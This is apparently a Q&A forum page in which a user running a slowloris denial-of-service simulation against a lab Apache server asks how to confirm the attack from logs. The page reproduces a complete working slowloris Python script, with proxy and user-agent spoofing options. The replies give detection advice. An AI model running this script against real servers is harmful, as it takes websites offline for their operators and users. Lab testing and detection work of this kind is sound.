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I'm doing simulation of a slowloris attack on a Debian server running Apache.

The attacking machines are Debian too.

In order to make sure that the slowloris attack was effective, I would like to access the Apache logs and check if the denial of service occurred and if it stopped accepting connections, the state of the buffers, and so on. The time of the attacks are known.

I am using in a lab this slowloris code:

https://github.com/gkbrk/slowloris

http://pastebin.com/CsjTavjN

#!/usr/bin/python
import socket, random, time, sys, argparse, random, logging

parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
parser.add_argument('host',  nargs="?", help="Host to preform stress test on")
parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80", type=int)
parser.add_argument('-s', '--sockets', default=150, help="Number of sockets to use in the test", type=int)
parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Increases logging")
parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Randomizes user-agents with each request")
parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
args = parser.parse_args()

if len(sys.argv)<=1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

if args.useproxy:
    print("Using SOCKS5 proxy for connecting...")
    try:
        import socks
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
        socket.socket = socks.socksocket
    except ImportError:
        print("Socks Proxy Library Not Available!")
if args.verbose == True:
    logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
else:
    logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)

list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
]

def init_socket(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    s.connect((ip,args.port))

    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
    if args.randuseragent:
        s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
    else:
        s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
    s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
    return s

def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error:
            break
        list_of_sockets.append(s)

    while True:
        logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
        for s in list(list_of_sockets):
            try:
                s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
            except socket.error:
                list_of_sockets.remove(s)

        for _ in range(socket_count - len(list_of_sockets)):
            logging.debug("Recreating socket...")
            try:
                s = init_socket(ip)
                if s:
                    list_of_sockets.append(s)
            except socket.error:
                break
        time.sleep(15)

if __name__ == "__main__":
    main()

Does Apache provide such information? Where to check in Debian? Any suggestions on what else to check?

  • Hi and welcome! 1. There exist tools which can monitor a server's uptime and reliability. You can run these tools on your own network. Or you can get a third party to run these tools for you — sometimes for free. Try a Web search for [ server monitoring ]. (2. Or you can check a server's availability yourself, using a Web browser or wget or curl.) 3. There also exist good free tools which can run on a server and attempt to detect incoming attacks, called "intrusion detection systems". ❧ Have you tried any of these three options yourself? – unforgettableid Mar 20 '17 at 11:34
  • But my main goal is identify manually slowloris attack after it occurs! – Laurinda Souza Mar 20 '17 at 11:37
  • How can I be sure thay was slowloris and no other DoS attack? – Laurinda Souza Mar 20 '17 at 11:39
  • 1
    Possible duplicate of RSnake's Slow Loris tool – iwaseatenbyagrue Mar 20 '17 at 11:57
  • It is not the same question! – Laurinda Souza Mar 20 '17 at 12:12
3

If you understood how the attack works or had a look on Google, then you'd find out that it very much depends on the implementation of the attack client - if it truly implements Slowloris, then you won't see the attack in the logs since Apache only writes logs relating to a request when the request finishes. However implementing the attack in this way requires requires modification of the network packets which is not a trivial thing to do. Some tools will simply use the available traffic control mechanisms to throttle the request (this also has the advantage of fooling some attack detection methods).

Up until the point where maxclients is reached, you'll be able to see the impact using mod_serverstatus. You will also see an increasing number of connections in netstat, and if you are using the pre-fork MPM, an increasing number of httpd processes. You can detect how successful the attack is by running another client against the webserver (e.g. ab) and seeing when it stops getting responses.

  • I am using in a lab this slowloris code: github.com/gkbrk/slowloris – Laurinda Souza Mar 20 '17 at 14:03

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